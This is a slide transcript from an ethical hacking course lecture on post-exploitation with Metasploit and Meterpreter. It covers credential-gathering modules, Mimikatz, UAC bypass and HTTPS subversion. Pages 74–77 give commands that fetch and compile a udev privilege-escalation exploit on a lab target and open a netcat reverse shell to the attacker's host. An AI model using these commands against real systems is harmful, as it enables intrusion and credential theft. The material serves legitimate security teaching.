cnit 124 ch 13: post exploitation (part 1)

80
CNIT 124: Advanced Ethical Hacking Ch 13: Post Exploitation Part 1 Rev. 11-8-17

Upload: sam-bowne

Post on 21-Jan-2018

110 views

Category:

Education


8 download

TRANSCRIPT

Page 1: CNIT 124 Ch 13: Post Exploitation (Part 1)

CNIT 124: Advanced Ethical

Hacking

Ch 13: Post Exploitation Part 1

Rev. 11-8-17

Page 2: CNIT 124 Ch 13: Post Exploitation (Part 1)

Topics in This Lecture

• Meterpreter • Meterpreter Scripts • Metasploit Post-Exploitation Modules • Railgun • Local Privilege Escalation

Page 3: CNIT 124 Ch 13: Post Exploitation (Part 1)

Topics in the Next Lecture

• Local Information Gathering • Lateral Movement • Pivoting • Persistence

Page 4: CNIT 124 Ch 13: Post Exploitation (Part 1)

Meterpreter

Page 5: CNIT 124 Ch 13: Post Exploitation (Part 1)

Help

• help at meterpreter prompt – Shows all meterpreter commands

• command –h – Help about a specific command

• help command – Help about a specific command

Page 6: CNIT 124 Ch 13: Post Exploitation (Part 1)

Controlling Metasploit Sessions

• sessions – lists sessions

• sessions -i 1 – Starts interaction with session 1

• background – preserves a session, returns to the msf> prompt

• exit – closes a Meterpreter session

Page 7: CNIT 124 Ch 13: Post Exploitation (Part 1)

Upload

• Must use two backslashes to symbolize one – "Escaping" in Linux

Page 8: CNIT 124 Ch 13: Post Exploitation (Part 1)

Windows Binaries in Kali 2

Page 9: CNIT 124 Ch 13: Post Exploitation (Part 1)

Project 15: RAM Scraping

Page 10: CNIT 124 Ch 13: Post Exploitation (Part 1)
Page 11: CNIT 124 Ch 13: Post Exploitation (Part 1)

Meterpreter Scripts

Page 12: CNIT 124 Ch 13: Post Exploitation (Part 1)

Meterpreter Scripts

Page 13: CNIT 124 Ch 13: Post Exploitation (Part 1)

Deprecated

Page 14: CNIT 124 Ch 13: Post Exploitation (Part 1)

AutoRunScript

Page 15: CNIT 124 Ch 13: Post Exploitation (Part 1)

Getting Help• run script -h

• ps lists running processes on target • Useful to choose a migration target

• run migrate -p 1144

Page 16: CNIT 124 Ch 13: Post Exploitation (Part 1)

Prefetch

• Prefetch shows last 128 programs used • Useful for forensics

Page 17: CNIT 124 Ch 13: Post Exploitation (Part 1)

process_memdump

Page 18: CNIT 124 Ch 13: Post Exploitation (Part 1)

persistence

Page 19: CNIT 124 Ch 13: Post Exploitation (Part 1)

virusscan_bypass

Page 20: CNIT 124 Ch 13: Post Exploitation (Part 1)

Other Interesting Scripts

• arp_scanner -- fast host discovery • killav -- no information in help

Page 21: CNIT 124 Ch 13: Post Exploitation (Part 1)
Page 22: CNIT 124 Ch 13: Post Exploitation (Part 1)

Metasploit Post-Exploitation Modules

Page 23: CNIT 124 Ch 13: Post Exploitation (Part 1)

Directory Structure

Page 24: CNIT 124 Ch 13: Post Exploitation (Part 1)

post/windows/gather

Page 25: CNIT 124 Ch 13: Post Exploitation (Part 1)

bitcoin_jacker

Page 26: CNIT 124 Ch 13: Post Exploitation (Part 1)

netlm_downgrade

Page 27: CNIT 124 Ch 13: Post Exploitation (Part 1)

enum_logged_on_users

Page 28: CNIT 124 Ch 13: Post Exploitation (Part 1)

enum_logged_on_users

Page 29: CNIT 124 Ch 13: Post Exploitation (Part 1)

Gathering Credentials

Page 30: CNIT 124 Ch 13: Post Exploitation (Part 1)

Autologon Password

Page 31: CNIT 124 Ch 13: Post Exploitation (Part 1)

Not On By Default

Page 32: CNIT 124 Ch 13: Post Exploitation (Part 1)

sso (MimiKatz)

Page 33: CNIT 124 Ch 13: Post Exploitation (Part 1)

On By Default ☺

Page 34: CNIT 124 Ch 13: Post Exploitation (Part 1)

Gather Modules

Page 35: CNIT 124 Ch 13: Post Exploitation (Part 1)

More Gather Modules

Page 36: CNIT 124 Ch 13: Post Exploitation (Part 1)

CheckVM

Page 37: CNIT 124 Ch 13: Post Exploitation (Part 1)

It Works!

Page 38: CNIT 124 Ch 13: Post Exploitation (Part 1)

BitLocker Recovery Passwords

Page 39: CNIT 124 Ch 13: Post Exploitation (Part 1)

LSA Secrets!

Page 40: CNIT 124 Ch 13: Post Exploitation (Part 1)

Works on Server 2008!

Page 41: CNIT 124 Ch 13: Post Exploitation (Part 1)

memory_grep

Page 42: CNIT 124 Ch 13: Post Exploitation (Part 1)

Looks Good But Fails

Page 43: CNIT 124 Ch 13: Post Exploitation (Part 1)

• An alternative to using MimiKatz • Metasploit SMB Listener (Link Ch 13b)

Page 44: CNIT 124 Ch 13: Post Exploitation (Part 1)

Phishing

Page 45: CNIT 124 Ch 13: Post Exploitation (Part 1)

Fails on Win 7 and 2008

• Won't run at all on Win 2008

• On Win 7, this box pops up all the time but the password never appears in Metasploit

• Must restart Windows to make it stop

Page 46: CNIT 124 Ch 13: Post Exploitation (Part 1)

enum_ie

Page 47: CNIT 124 Ch 13: Post Exploitation (Part 1)

Fails

• Gets no passwords or cookies from Win 7 or Win 2008

• Does get some Web history links from IE 7 on Win 2008

Page 48: CNIT 124 Ch 13: Post Exploitation (Part 1)

Management Modules

Page 49: CNIT 124 Ch 13: Post Exploitation (Part 1)

inject_ca

• Subverts HTTPS ☺

Page 50: CNIT 124 Ch 13: Post Exploitation (Part 1)

MS SQL Auth Bypass

Page 51: CNIT 124 Ch 13: Post Exploitation (Part 1)

Forensic Image of Target

• Harvest deleted files

Page 52: CNIT 124 Ch 13: Post Exploitation (Part 1)

Exploit PXE Pre-eXecution Boot

Page 53: CNIT 124 Ch 13: Post Exploitation (Part 1)

Remote Packet Capture

Page 54: CNIT 124 Ch 13: Post Exploitation (Part 1)

Look in Shadow Copies (Restore Points)

Page 55: CNIT 124 Ch 13: Post Exploitation (Part 1)

Find Open Outgoing Ports

Page 56: CNIT 124 Ch 13: Post Exploitation (Part 1)

Find Wireless Networks

Page 57: CNIT 124 Ch 13: Post Exploitation (Part 1)

Steal WPA Keys

Page 58: CNIT 124 Ch 13: Post Exploitation (Part 1)
Page 59: CNIT 124 Ch 13: Post Exploitation (Part 1)

Railgun

Page 60: CNIT 124 Ch 13: Post Exploitation (Part 1)

Allows Direct Access to Windows APIs

• API: Application Program Interface • irb drops into a Ruby shell • client.railgun.shell32.IsUserAnAdmin • Tells Ruby interpreter to use railgun to

access the IsUserAdmin function of shell32.dll

Page 61: CNIT 124 Ch 13: Post Exploitation (Part 1)

Allows Direct Access to Windows APIs

Page 62: CNIT 124 Ch 13: Post Exploitation (Part 1)

reverse_lookup uses Railgun

Page 63: CNIT 124 Ch 13: Post Exploitation (Part 1)

Local Privilege Escalation

Page 64: CNIT 124 Ch 13: Post Exploitation (Part 1)

getsystem

• Tries to elevate to SYSTEM on Windows • rev2self undoes this escalation

Page 65: CNIT 124 Ch 13: Post Exploitation (Part 1)

User Account Control (UAC)

• Pops up when something needs administrator privileges

Page 66: CNIT 124 Ch 13: Post Exploitation (Part 1)

UAC Blocks getsystem

• On Win 7

Page 67: CNIT 124 Ch 13: Post Exploitation (Part 1)

Bypassing UAC

Page 68: CNIT 124 Ch 13: Post Exploitation (Part 1)

Process Injection

Page 69: CNIT 124 Ch 13: Post Exploitation (Part 1)

Worked on Win 7!

Page 70: CNIT 124 Ch 13: Post Exploitation (Part 1)

Udev Privilege Escalation on Linux

• uname -a to find kernel version • lsb_release -a to find Ubuntu version

• udevadm --version

Page 71: CNIT 124 Ch 13: Post Exploitation (Part 1)

Searching the Exploitdb Repository

• searchsploit

Page 72: CNIT 124 Ch 13: Post Exploitation (Part 1)

Recent Ubuntu Exploits

Page 73: CNIT 124 Ch 13: Post Exploitation (Part 1)

8572.c

Page 74: CNIT 124 Ch 13: Post Exploitation (Part 1)

Exploit Process

• On Kali • ln -s /usr/share/exploitdb/platforms/

linux/local/ /var/www/html/ • On Metasploitable 2 • cd /tmp • wget http://172.16.1.188/local/

8572.c • gcc -o 8572 8572.c

Page 75: CNIT 124 Ch 13: Post Exploitation (Part 1)

Exploit Process

• On Kali • nano /var/www/html/run • #!/bin/bash • nc 172.16.1.188 12345 -e /bin/

bash • nc -lvp 12345

Page 76: CNIT 124 Ch 13: Post Exploitation (Part 1)

Exploit Process

• On Metasploitable 2 • cd /tmp • wget http://172.16.1.188/run

Page 77: CNIT 124 Ch 13: Post Exploitation (Part 1)

Exploit Process

• On Metasploitable 2 • cat /proc/net/netlink • ps aux | grep udev • ./8572 2738

Page 78: CNIT 124 Ch 13: Post Exploitation (Part 1)

Exploit Process

• gcc must be installed on target Linux system

• Put 8572.c in /var/www/html on Kali • Download it to target system with wget • Compile there and run

Page 79: CNIT 124 Ch 13: Post Exploitation (Part 1)

Escalation

Page 80: CNIT 124 Ch 13: Post Exploitation (Part 1)